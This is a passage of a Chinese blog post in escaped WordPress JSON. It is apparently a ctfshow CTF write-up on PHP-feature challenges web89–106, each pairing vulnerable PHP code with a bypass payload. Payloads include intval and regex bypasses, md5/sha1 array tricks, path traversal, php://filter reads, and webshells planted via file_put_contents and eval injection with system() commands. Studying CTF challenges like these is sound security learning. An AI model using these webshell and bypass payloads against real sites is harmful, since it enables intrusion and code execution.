1\u3001\u901a\u8fc7get\u65b9\u5f0f\u4f20\u9012\u503c\u7ed9num<\/p>
2\u3001\u5982\u679cnum\u503c\u7b49\u4e8e4476\uff0c\u62e6\u622a\uff1b\u2018===\u2019\u7684\u5f3a\u6bd4\u8f83\u540e\u76844476\u4e3a\u53cc\u5f15\u53f7\uff0c\u4f5c\u4e3a\u5b57\u7b26\u4e32\u8fdb\u884c\u6bd4\u8f83<\/p>
3\u3001\u5982\u679c\u901a\u8fc7intval\u51fd\u6570\u5341\u8fdb\u5236\u53d8\u5316\u540e\u7b49\u4e8e4476\uff0c\u8f93\u51faflag<\/p><\/blockquote>\n\n\n\n
\u90a3\u4e48\u53ef\u4ee5\u901a\u8fc7\u8fdb\u5236\u8f6c\u6362\uff0c\u5c06\u5341\u8fdb\u52364476\u8f6c\u6210\u5341\u516d\u8fdb\u5236117c,\u8d4b\u503cnum<\/p>\n\n\n\n
intval\u51fd\u6570\u4e2d\u5341\u516d\u8fdb\u5236\u524d\u9700\u8981\u5e26\u67090x<\/p>\n\n\n\n
\/?num=0x117c<\/pre>\n\n\n\nweb91\u2014\u6b63\u5219\u8868\u8fbe\u5f0f\u4fee\u9970\u7b26<\/h2>\n\n\n\n<?php
$a=$_GET['cmd'];
if(preg_match('\/^php$\/im', $a)){
if(preg_match('\/^php$\/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}<\/code><\/pre>\n\n\n\n1\u3001\u901a\u8fc7get\u65b9\u5f0f\u4f20\u9012cmd\u503c<\/p>
2\u3001\u6b63\u5219\u5339\u914d\u503c\u4e2d\u662f\u5426\u5305\u542bphp\uff0ci\u4e3a\u4e0d\u533a\u5206\u5927\u5c0f\u5199\uff0cm\u4e3a\u591a\u884c\u5339\u914d<\/p>
3\u3001\u518d\u4e00\u6b21\u6b63\u5219\u5339\u914d\u662f\u5426\u5305\u542bphp\uff0c\u4e0d\u533a\u5206\u5927\u5c0f\u5199<\/p>
4\u3001\u4e0a\u8ff0\u4e24\u4e2a\u5224\u65ad\u4e3a\u6b63\u5219\u8f93\u51fahacker\uff0c\u5426\u5219\u8f93\u51faflag<\/p><\/blockquote>\n\n\n\n
\u53ef\u4ee5\u77e5\u9053\u4e0a\u9762\u53ea\u5728\u7b2c\u4e00\u884c\u7684if\u5224\u65ad\u8fdb\u884c\u591a\u884c\u5339\u914d\uff0c\u7b2c\u4e8c\u884c\u7684if\u5224\u65ad\u53ea\u5224\u65ad\u7b2c\u4e00\u884c<\/p>\n\n\n\n
\u56e0\u6b64\u53ef\u4ee5\u8fdb\u884c\u6362\u884c\uff0c\u8ba9\u5176\u5728\u7b2c\u4e8c\u884c\u5339\u914d\u5230php\uff0c\u7b2c\u4e00\u884c\u4e0d\u5339\u914d\u5230php\uff0c\u5373\u5230else\u5224\u65ad\u8f93\u51faflag<\/p>\n\n\n\n
url\u4e2d%0a\u4e3a\u6362\u884c\u7b26<\/p><\/blockquote>\n\n\n\n
\/?cmd=%0aphp<\/pre>\n\n\n\nweb92\u2014intval()\u51fd\u6570<\/h2>\n\n\n\n<?php
\u200b
include(\"flag.php\");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die(\"no no no!\");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}<\/code><\/pre>\n\n\n\n\u4e0eweb90\u4e00\u6837\u505a\u6cd5\uff0c\u901a\u8fc7\u8fdb\u5236\u8f6c\u6362<\/p>\n\n\n\n
\/?num=0x117c \/\u5341\u516d\u8fdb\u5236
\/?num=010574 \/\u516b\u8fdb\u5236<\/pre>\n\n\n\nweb93\u2014intval()\u51fd\u6570<\/h2>\n\n\n\n<?php
\u200b
include(\"flag.php\");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die(\"no no no!\");
}
if(preg_match(\"\/[a-z]\/i\", $num)){
die(\"no no no!\");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}<\/code><\/pre>\n\n\n\n\u8fc7\u6ee4\u8ddf\u4e0a\u4e2a\u9898\u4e00\u6837\uff0c\u591a\u4e86\u8fc7\u6ee4\u6389a-z\u7684\u5927\u5c0f\u5199\u5b57\u6bcd<\/p>
\u8fd9\u6b21\u5c31\u4e0d\u80fd\u7528\u5341\u516d\u8fdb\u5236\uff0c\u7528\u516b\u8fdb\u5236\u7ed5\u8fc7<\/p><\/blockquote>\n\n\n\n
\/?num=010574<\/pre>\n\n\n\nweb94\u2014strpos()\u51fd\u6570<\/h2>\n\n\n\n<?php
include(\"flag.php\");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num===\"4476\"){
die(\"no no no!\");
}
if(preg_match(\"\/[a-z]\/i\", $num)){
die(\"no no no!\");
}
if(!strpos($num, \"0\")){
die(\"no no no!\");
}
if(intval($num,0)===4476){
echo $flag;
}
}<\/code><\/pre>\n\n\n\n\u5176\u5b83\u548c\u4e0a\u4e00\u9898\u4e00\u6837<\/p>
\u591a\u4e86strpos\u51fd\u6570<\/p>
\u8fd9\u91cc\u7684\u5224\u65ad\u662f\uff0c\u5982\u679c\u4f20\u9012\u7684\u53d8\u91cf\u91cc\u67090\uff0c!\u53d6\u53cd\uff0c\u5373\u4f20\u9012\u7684\u53d8\u91cf\u91cc\u6ca1\u67090\uff0c\u5219\u62e6\u622a<\/p><\/blockquote>\n\n\n\n
\u56e0\u6b64\u901a\u8fc7\u5206\u6790\uff0c\u9700\u8981\u7ed9\u4f20\u9012\u53c2\u6570\u91cc\u5e26\u67090\uff0c\u5e76\u4e14\u901a\u8fc7intval\u51fd\u6570\u53d8\u5316\u540e\u503c\u4ecd\u7b49\u4e8e4476<\/p>\n\n\n\n
\/?num=4476.0<\/pre>\n\n\n\nweb95\u2014intval()\u51fd\u6570<\/h2>\n\n\n\n<?php
\u200b
include(\"flag.php\");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die(\"no no no!\");
}
if(preg_match(\"\/[a-z]|\\.\/i\", $num)){
die(\"no no no!!\");
}
if(!strpos($num, \"0\")){
die(\"no no no!!!\");
}
if(intval($num,0)===4476){
echo $flag;
}
}<\/code><\/pre>\n\n\n\n\u5bf9\u6bd4\u4e0a\u4e00\u9898\u591a\u4e86\u8fc7\u6ee4\u5c0f\u6570\u70b9<\/p>
\u7b2c\u4e00\u4e2a\u5224\u65ad\u4ece\u5f3a\u7c7b\u578b\u6bd4\u8f83\u53d8\u6210\u5f31\u7c7b\u578b\uff0c\u56e0\u6b64\u53ea\u8981\u503c\u4e0d\u4e0e4476\u76f8\u7b49\u5373\u53ef<\/p>
\u7b2c\u4e8c\u4e2a\u5224\u65ad\u53ea\u591a\u4e86\u8fc7\u6ee4\u5c0f\u6570\u70b9\uff0c\u56e0\u6b64\u53ef\u4ee5\u5c1d\u8bd5\u5404\u79cd\u7b26\u53f7<\/p><\/blockquote>\n\n\n\n
\/?num=+010574
\/?num= 010574
\/?num=%2B010574 \/\u5bf9+\u8fdb\u884curl\u7f16\u7801
\/?num=%20010574 \/\u5bf9\u7a7a\u683c\u8fdb\u884curl\u7f16\u7801<\/pre>\n\n\n\nintval\u51fd\u6570\u5bf9+\u548c\u7a7a\u683c\u4f1a\u8fdb\u884c\u5220\u9664\u5904\u7406\uff0c\u6700\u7ec8\u5f97\u5230\u6574\u6570<\/p>\n\n\n\n
web96\u2014highlight_file<\/h2>\n\n\n\n<?php
\u200b
highlight_file(__FILE__);
\u200b
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die(\"no no no\");
}else{
highlight_file($_GET['u']);
}
\u200b
\u200b
}
\u200b<\/code><\/pre>\n\n\n\n1\u3001get\u65b9\u5f0f\u4f20\u9012\u4e00\u4e2a\u53c2\u6570u<\/p>
2\u3001u\u53c2\u6570\u4e0eflag.php\u5f31\u7c7b\u578b\u6bd4\u8f83\uff0c\u4e3a\u771f\uff0c\u62e6\u622a<\/p>
3\u3001\u5426\u5219\u5bf9u\u5305\u542b\u7684\u6587\u4ef6\u8fdb\u884c\u6587\u4ef6\u8bed\u6cd5\u9ad8\u4eae\u663e\u793a<\/p>
\/highlight_file() \u5bf9\u6587\u672c\u6570\u636e\u8fdb\u884c\u8bfb\u5165\uff0c\u8bc6\u522b\u5173\u952e\u5b57\uff0c\u52a0\u5165css\u6837\u5f0f\u6df7\u5408\u8f93\u51fa<\/p><\/blockquote>\n\n\n\n
\u8fd9\u76f8\u5f53\u4e8e\u6587\u4ef6\u5305\u542b\u8bfb\u53d6\uff0c\u6709\u5f88\u591a\u7b49\u6548\u7684payload<\/p>\n\n\n\n
\/?u=\/var\/www\/html\/flag.php \/\u7edd\u5bf9\u8def\u5f84 \u901a\u8fc7\u62a5\u9519\u63d0\u793a\u5f97\u5230\u5f53\u524d\u6240\u5728\u76ee\u5f55
\/?u=.\/flag.php \/\u76f8\u5bf9\u8def\u5f84
\/?u=php:\/\/filter\/resource=flag.php \/\u4f2a\u534f\u8bae
\/?u=\/var\/www\/html\/..\/..\/..\/ctfshow..\/..\/var\/www\/html\/flag.php \/\u901a\u8fc7\u4e2d\u95f4\u4e0d\u5b58\u5728\u7684\u76ee\u5f55\u8fdb\u884c\u4e0a\u4e0b\u7ea7\u76ee\u5f55\u5207\u6362<\/pre>\n\n\n\nweb97\u2014md5<\/h2>\n\n\n\n<?php
\u200b
\u200b
include(\"flag.php\");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?><\/code><\/pre>\n\n\n\n1\u3001post\u4f20\u5165a\u548cb\u53c2\u6570<\/p>
2\u3001\u5982\u679ca\u7684\u503c\u548cb\u7684\u503c\u4e0d\u76f8\u7b49<\/p>
3\u3001\u5e76\u4e14a\u548cb\u7684md5\u503c\u76f8\u7b49<\/p>
4\u3001\u8f93\u51faflag\uff0c\u5426\u5219\u8f93\u51fawrong<\/p><\/blockquote>\n\n\n\n
php\u4e2dmd5\u51fd\u6570\u65e0\u6cd5\u5904\u7406\u6570\u7ec4\uff0c\u76f4\u63a5\u8fd4\u56denull\uff0c\u56e0\u6b64\u4e3a\u5168\u7b49<\/p>\n\n\n\n
a[]=1&b[]=2 \/POST\u65b9\u5f0f<\/pre>\n\n\n\nweb98\u2014\u4e09\u76ee\u8fd0\u7b97\u7b26<\/h2>\n\n\n\n<?php
\u200b
include(\"flag.php\");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
\u200b
?><\/code><\/pre>\n\n\n\n\u7b2c\u4e00\u884c\uff0c\u4e09\u76ee\u8fd0\u7b97\u7b26\uff0c\u5982\u679c\u901a\u8fc7get\u4f20\u9012\u53c2\u6570\uff0c\u90a3\u4e48POST\u4f20\u9012\u7684\u503c\u4f1a\u8986\u76d6GET<\/p>
\u7b2c\u4e8c\u3001\u4e09\u884c\uff0c\u610f\u4e49\u4e0d\u5927\uff0c\u7b2c\u4e09\u884c\u4f1a\u8986\u76d6\u7b2c\u4e8c\u884c<\/p>
\u7b2c\u56db\u884c\uff0c\u5982\u679cget\u4f20\u9012\u4e00\u4e2aHTTP_FLAG\u4e3aflag\uff0c\u8f93\u51faflag\uff0c\u5426\u5219\u663e\u793aindex.php\u4ee3\u7801<\/p><\/blockquote>\n\n\n\n
\u56e0\u6b64\u6700\u7ec8post\u4f20\u9012\u7684\u503c\u4f1a\u8986\u76d6get\uff0cpost\u4f20\u9012\u503cget\u968f\u4fbf\u4f20\u5373\u53ef<\/p>\n\n\n\n
\/?1=1 \/GET\u65b9\u5f0f\u968f\u4fbf\u586b HTTP_FLAG=flag \/POST\u65b9\u5f0f<\/pre>\n\n\n\nweb99\u2014in_array<\/h2>\n\n\n\n<?php
\u200b
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
\u200b
?><\/code><\/pre>\n\n\n\narray_push() \u5411\u6570\u7ec4\u5c3e\u90e8\u63d2\u5165\u4e00\u4e2a\u6216\u591a\u4e2a\u5143\u7d20\u3002<\/p>
isset \u2014 \u68c0\u6d4b\u53d8\u91cf\u662f\u5426\u5df2\u8bbe\u7f6e\u5e76\u4e14\u975e NULL<\/code><\/strong><\/p>in_array() \u51fd\u6570\u641c\u7d22\u6570\u7ec4\u4e2d\u662f\u5426\u5b58\u5728\u6307\u5b9a\u7684\u503c\u3002<\/p>
file_put_contents(file,data,mode,context) file\uff0c\u89c4\u5b9a\u5199\u5165\u6570\u636e\u7684\u6587\u4ef6\uff1bdata\uff0c\u5199\u5165\u6587\u4ef6\u7684\u6570\u636e\uff1bmode\uff0c\u5982\u4f55\u6253\u5f00\/\u5199\u5165\u6587\u4ef6\uff1bcontext\uff0c\u89c4\u5b9a\u6587\u4ef6\u53e5\u67c4\u7684\u73af\u5883\u3002<\/p><\/blockquote>\n\n\n\n
1\u3001$allow\u662f\u4e00\u4e2a\u6570\u7ec4\uff0c\u901a\u8fc7array_push\u51fd\u6570\uff0c\u5c06\u968f\u673a\u6570\u6dfb\u52a0\u5230\u6570\u7ec4\u91cc\uff0c\u4e14\u5fc5\u542b1<\/p>
2\u3001\u5982\u679c\u53d8\u91cfn\u901a\u8fc7get\u65b9\u5f0f\u4f20\u9012\u4e86\u6570\u503c\u5e76\u4e14n\u91cc\u542b\u6709\u6570\u7ec4\u5185\u7684\u503c\uff0c\u90a3\u4e48\u5c06\u5199\u5165\u6587\u4ef6\uff0c\u6587\u4ef6\u540d\u4e3an\uff0c\u5185\u5bb9\u4e3apost\u4f20\u9012\u7684\u503c<\/p><\/blockquote>\n\n\n\n
\u5229\u7528in_array()<\/code>\u7684\u7279\u6027\uff0c\u5f31\u6bd4\u8f83\u7279\u6027\uff0c'1.php'==1<\/code>\u3002<\/p>\n\n\n\n\/?n=1.php \/get\u65b9\u5f0f content=<?php @eval($_POST['hermitaria']);?> \/post\u65b9\u5f0f<\/pre>\n\n\n\n\/1.php \u00a0 \/get\u65b9\u5f0f \u00a0 \u00a0 \u00a0 a=system(\"ls\") \u00a0 \u00a0 \/post\u65b9\u5f0f \u00a0 \u00a0\n\u5f97\u5230\u5f53\u524d\u76ee\u5f55\u4e0b\u7684\u6587\u4ef6\u540e\uff0c\u8bfb\u53d6flag\u6587\u4ef6\n\/1.php \u00a0 \/get\u65b9\u5f0f \u00a0 \u00a0 a=system(\"tac\/sort flag36d.php\"); \/post\u65b9\u5f0f <\/pre>\n\n\n\nweb100\u3001101\u2014\u53cd\u5c04\u7c7bReflectionClass<\/h2>\n\n\n\n<?php
\u200b
highlight_file(__FILE__);
include(\"ctfshow.php\");
\/\/flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match(\"\/\\;\/\", $v2)){
if(preg_match(\"\/\\;\/\", $v3)){
eval(\"$v2('ctfshow')$v3\");
}
}
}
\u200b
\u200b
?><\/code><\/pre>\n\n\n\n1\u3001\u5305\u542b\u4e00\u4e2actfshow.php\u6587\u4ef6\uff0c\u5efa\u7acbctfshow\u7c7b\u7684\u53cd\u5c04\uff0cv1\u7b49\u901a\u8fc7get\u65b9\u5f0f\u4f20\u503c<\/p>
2\u3001\u8fd9\u91cc\u4e3b\u8981\u662f\u8fd0\u7b97\u4f18\u5148\u7ea7\u3002$v0=is_numeric($v1)\u7684\u8d4b\u503c\u8bed\u53e5\u4f18\u5148\u7ea7\u662f\u5927\u4e8e\u903b\u8f91\u8fd0\u7b97\u7b26and\uff0c\u53ea\u8981\u4fdd\u8bc1v0\u4e3a\u6570\u5b57\u5373\u53ef\u8fdb\u5165if\u8bed\u53e5<\/p><\/blockquote>\n\n\n\n
<?php
$a=true and false and false;
var_dump($a); \u8fd4\u56detrue
\u200b
$a=true && false && false;
var_dump($a); \u8fd4\u56defalse<\/code><\/pre>\n\n\n\n\u5199\u5165shell\u89e3\u6cd5<\/h3>\n\n\n\n
\u8fd9\u79cd\u89e3\u6cd5\u6ca1\u6709\u5229\u7528\u4ee3\u7801\u4e2d\u7c7b\u7684\u53cd\u5c04\u89e3\u6cd5<\/p>\n\n\n\n
\u5728if\u8bed\u53e5\u540e<\/p>
\u6b63\u5219\u5339\u914dv2\u53d8\u91cf\uff0c\u4e0d\u80fd\u542b\u6709\\ ;<\/p>
\u6b63\u5219\u5339\u914dv3\u53d8\u91cf\uff0c\u9700\u542b\u6709\\ ;<\/p><\/blockquote>\n\n\n\n
\u56e0\u6b64\u53ef\u4ee5\u5728v2\u5904\u4f20\u5165\u4e00\u4e2ashell\uff0cv3\u5904\u4f20\u5165;\u5373\u53ef<\/p>\n\n\n\n
?v1=1&v2=eval($_POST[1])?>%23&v3=; \/\/get
1=system(\"ls\"); \/\/post
1=system(\"sort ctfshow.php\"); \/\/\u5f97\u5230flag<\/code><\/pre>\n\n\n\n\u5176\u4e2dflag\u7684flag_is_1b42b2680x2d8b3a0x2d44600x2d85cf0x2db1f1ea62055a<\/p>\n\n\n\n
0x2d\u4e3a- \u9700\u8981\u8f6c\u6362\u6210<\/p>\n\n\n\n
ctfshow{1b42b268-8b3a-4460-85cf-b1f1ea62055a}<\/p>\n\n\n\n
\u53cd\u5c04\u7c7bReflectionClass\u89e3\u6cd5<\/h3>\n\n\n\n
\u8fd9\u91cc\u4ee3\u7801\u5efa\u7acb\u4e86ctfshow\u7c7b\u7684\u53cd\u5c04<\/p>\n\n\n\n
$ctfshow = new ctfshow();<\/code><\/p>\n\n\n\n\u5e76\u4e14\u6ce8\u91ca\u63d0\u793aflag\u5728ctfshow\u91cc<\/p>\n\n\n\n
\/\/flag in class ctfshow;<\/code><\/p>\n\n\n\n\u6700\u7b80\u5355\u7684\u65b9\u6cd5\u662f\u76f4\u63a5\u8f93\u51fa\u8fd9\u4e2a\u7c7b<\/p>\n\n\n\n
echo new ReflectionClass('ctfshow');<\/code><\/p>\n\n\n\npayload\u4e3a<\/p>\n\n\n\n
?v1=1&v2=echo new ReflectionClass&v3=;<\/pre>\n\n\n\nweb102\u3001103\u2014is_numeric<\/h2>\n\n\n\n<?php
\u200b
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
\u200b
\u200b
?><\/code><\/pre>\n\n\n\n1\u3001\u8d4b\u503c\u8fd0\u7b97\u7b26\u4f18\u5148\u7ea7\u9ad8\u4e8eand\uff0c\u6240\u4ee5\u53ea\u8981v2\u4e3a\u6570\u5b57\u578b\u5373\u53ef\u6ee1\u8db3<\/p>
2\u3001$s\u4ece\u7b2c\u4e09\u4f4d\u5f00\u59cb\u622a\u53d6v2\u53d8\u91cf<\/p>
3\u3001call_user_func \u2014 \u628a\u7b2c\u4e00\u4e2a\u53c2\u6570\u4f5c\u4e3a\u56de\u8c03\u51fd\u6570\u8c03\u7528\u3002\u5373\u5c06$s\u4f5c\u4e3a\u53c2\u6570\u8c03\u7528v1\u4f20\u9012\u7684\u51fd\u6570<\/p>
4\u3001\u5c06$str\u7684\u503c\u7684\u5185\u5bb9\u5199\u5165\u540d\u4e3a$v3\u7684\u6587\u4ef6<\/p><\/blockquote>\n\n\n\n
is_numeric\u5728php5\u7684\u73af\u5883\u4e2d\uff0c\u662f\u53ef\u4ee5\u8bc6\u522b\u5341\u516d\u8fdb\u5236\u7684\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u5982\u679c\u4f20\u5165v2=0x66\u4e5f\u662f\u53ef\u4ee5\u8bc6\u522b\u4e3a\u6570\u5b57\u7684\u3002<\/p>\n\n\n\n
\u4f46\u8be5\u73af\u5883\u4e3aphp7\uff0c\u9700\u8981\u53e6\u627e\u65b9\u6cd5\u7ed5\u8fc7<\/p>\n\n\n\n
\u867d\u7136\u6587\u4ef6\u5185\u5bb9\u4e0d\u597d\u63a7\u5236\uff0c\u4f46\u662f\u53ef\u4ee5\u5229\u7528\u4f2a\u534f\u8bae\u5c06\u5185\u5bb9\u8fdb\u884c\u7f16\u7801\u8f6c\u6362\u3002<\/p>\n\n\n\n
\u6240\u4ee5\u80fd\u627e\u5230\u4e00\u6761php\u8bed\u53e5\u7ecf\u8fc7base64\u7f16\u7801\uff0c\u5728\u8f6c\u6362\u4e3a16\u8fdb\u5236\u4e4b\u540e\u5168\u90e8\u90fd\u662f\u6570\u5b57\u5c31\u53ef\u4ee5\u901a\u8fc7<\/p>\n\n\n\n
$a='<?=`cat *`;';
$b=base64_encode($a); \/\/ PD89YGNhdCAqYDs=
$c=bin2hex($b); \/\/\u8fd9\u91cc\u76f4\u63a5\u7528\u53bb\u6389=\u7684base64 bin2hex() \u51fd\u6570\u628a ASCII \u5b57\u7b26\u7684\u5b57\u7b26\u4e32\u8f6c\u6362\u4e3a\u5341\u516d\u8fdb\u5236\u503c\u3002
\u8f93\u51fa 5044383959474e6864434171594473
\u200b
\u5e26e\u7684\u8bdd\u4f1a\u88ab\u8ba4\u4e3a\u662f\u79d1\u5b66\u8ba1\u6570\u6cd5\uff0c\u53ef\u4ee5\u901a\u8fc7is_numeric\u68c0\u6d4b\u3002
\u5927\u5bb6\u53ef\u4ee5\u5c1d\u8bd5\u4e0b\u53bb\u6389=\u548c\u5e26\u7740=\u7684base64\u89e3\u7801\u51fa\u6765\u7684\u5185\u5bb9\u662f\u76f8\u540c\u7684\u3002\u56e0\u4e3a\u7b49\u53f7\u5728base64\u4e2d\u53ea\u662f\u8d77\u5230\u586b\u5145\u7684\u4f5c\u7528\uff0c\u4e0d\u5f71\u54cd\u5177\u4f53\u7684\u6570\u636e\u5185\u5bb9\u3002<\/code><\/pre>\n\n\n\n\u6700\u7ec8payload\uff0c\u5176\u4e2dv2\u524d\u9762\u768411\u4e3a\u586b\u5145\u5b57\u7b26\uff0c\u786e\u4fdd\u622a\u53d6\u7684\u6570\u5b57\u6709\u6548<\/p>\n\n\n\n
v2=115044383959474e6864434171594473&v3=php:\/\/filter\/write=convert.base64-decode\/resource=1.php post: v1=hex2bin<\/pre>\n\n\n\n\u6700\u7ec8\u8bbf\u95ee1.php\u67e5\u770b\u6e90\u7801\u5f97\u5230flag<\/p>\n\n\n\n
web104\u2014sha1<\/h2>\n\n\n\n<?php
\u200b
highlight_file(__FILE__);
include(\"flag.php\");
\u200b
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
\u200b
\u200b
?><\/code><\/pre>\n\n\n\n1\u3001\u901a\u8fc7post\u65b9\u5f0f\u4f20\u9012v1\uff0cget\u65b9\u5f0f\u4f20\u9012v2<\/p>
2\u3001\u5982\u679cv1\u548cv2\u7684sha1\u503c\u76f8\u7b49\uff0c\u8f93\u51faflag<\/p><\/blockquote>\n\n\n\n
\u8fd9\u9898\u51fa\u9898\u4eba\u6ca1\u6709\u6bd4\u8f83v1\u548cv2\u7684\u503c\uff0c\u76f4\u63a5\u4f20\u9012\u76f8\u7b49\u7684\u503c\u4e5f\u53ef\u4ee5<\/p>\n\n\n\n
web105\u2014\u53d8\u91cf\u8986\u76d6<\/h2>\n\n\n\n<?php
\u200b
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='\u4f60\u8fd8\u60f3\u8981flag\u561b\uff1f';
$suces='\u65e2\u7136\u4f60\u60f3\u8981\u90a3\u7ed9\u4f60\u5427\uff01';
foreach($_GET as $key => $value){
if($key==='error'){
die(\"what are you doing?!\");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die(\"what are you doing?!\");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo \"your are good\".$flag.\"\\n\";
die($suces);
\u200b
?><\/code><\/pre>\n\n\n\n\u901a\u8fc7die($error)\u8f93\u51fa<\/strong><\/p>\n\n\n\n\u56e0\u4e3a\u5982\u679c\u9700\u8981\u8f93\u51fa$error\uff0c\u5c31\u9700\u8981\u6ee1\u8db3post\u7684\u503c\u4e0d\u542bflag\uff0c\u56e0\u6b64\u53ef\u4ee5\u901a\u8fc7\u4e00\u4e2a\u4e2d\u95f4\u53d8\u91cf$a\u8fdb\u884c\u4f20\u9012<\/p>\n\n\n\n
$a=$flag;
$error=$a;<\/pre>\n\n\n\npayload\u4e3a<\/p>\n\n\n\n
a=flag post: error=a<\/code><\/p>\n\n\n\n\u901a\u8fc7die($suces)<\/strong><\/p>\n\n\n\n\u56e0\u4e3a\u5982\u679c\u8981\u8f93\u51fa$suces\uff0c\u5c31\u8981\u6ee1\u8db3post\u7684\u503c\u4e0eflag\u503c\u76f8\u7b49<\/p>\n\n\n\n
$suces=$flag;<\/pre>\n\n\n\npayload\u4e3a<\/p>\n\n\n\n
payload:suces=flag post\uff1aflag=<\/code><\/p>\n\n\n\n\u6b64\u65f6$scues=flag{test123};$_POST['flag']=NULL;$flag=NULL<\/code>\uff0c\u6ee1\u8db3($_POST['flag']==$flag)<\/code><\/p>\n\n\n\nweb106\u2014sha1<\/h2>\n\n\n\n<?php
\u200b
highlight_file(__FILE__);
include(\"flag.php\");
\u200b
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
\u200b
\u200b
\u200b
?><\/code><\/pre>\n\n\n\n\u5bf9\u6bd4104\u591a\u4e86\u5bf9v1\u548cv2\u7684\u503c\u8fdb\u884c\u6bd4\u8f83<\/p>
\u4f46\u4ecd\u53ef\u4ee5\u5229\u7528\u6570\u7ec4\u7ed5\u8fc7<\/p><\/blockquote>\n\n\n\n
\/?v1[]=1 \/\/get\u65b9\u5f0f
v2[]=2 \/\/post\u65b9\u5f0f<\/pre>\n\n\n\n\u5982\u679c\u52a0\u4e0a\u5f3a\u5236\u7c7b\u578b\u8f6c\u6362\uff0c\u6709\u4ee5\u4e0b\u7b26\u5408\u7684<\/p>\n\n\n\n
aaroZmOk aaK1STfY aaO8zKZF aa3OFF9m<\/p><\/blockquote>\n","protected":false},"excerpt":{"rendered":"
\u57fa\u7840\u77e5\u8bc6\uff1a php\u7279\u6027 \u2013 \u9752\u5d50 web89\u2014\u6b63\u5219\u8868\u8fbe\u5f0f\u7ed5\u8fc7 1\u3001\u901a\u8fc7get\u65b9\u5f0f\u63d0\u4ea4\u4e00\u4e2anum 2\u3001\u5982\u679c\u901a\u8fc7\u6b63 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[17],"tags":[15,16],"_links":{"self":[{"href":"http:\/\/101.34.19.194\/index.php?rest_route=\/wp\/v2\/posts\/215"}],"collection":[{"href":"http:\/\/101.34.19.194\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/101.34.19.194\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/101.34.19.194\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/101.34.19.194\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=215"}],"version-history":[{"count":6,"href":"http:\/\/101.34.19.194\/index.php?rest_route=\/wp\/v2\/posts\/215\/revisions"}],"predecessor-version":[{"id":225,"href":"http:\/\/101.34.19.194\/index.php?rest_route=\/wp\/v2\/posts\/215\/revisions\/225"}],"wp:attachment":[{"href":"http:\/\/101.34.19.194\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=215"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/101.34.19.194\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=215"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/101.34.19.194\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=215"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}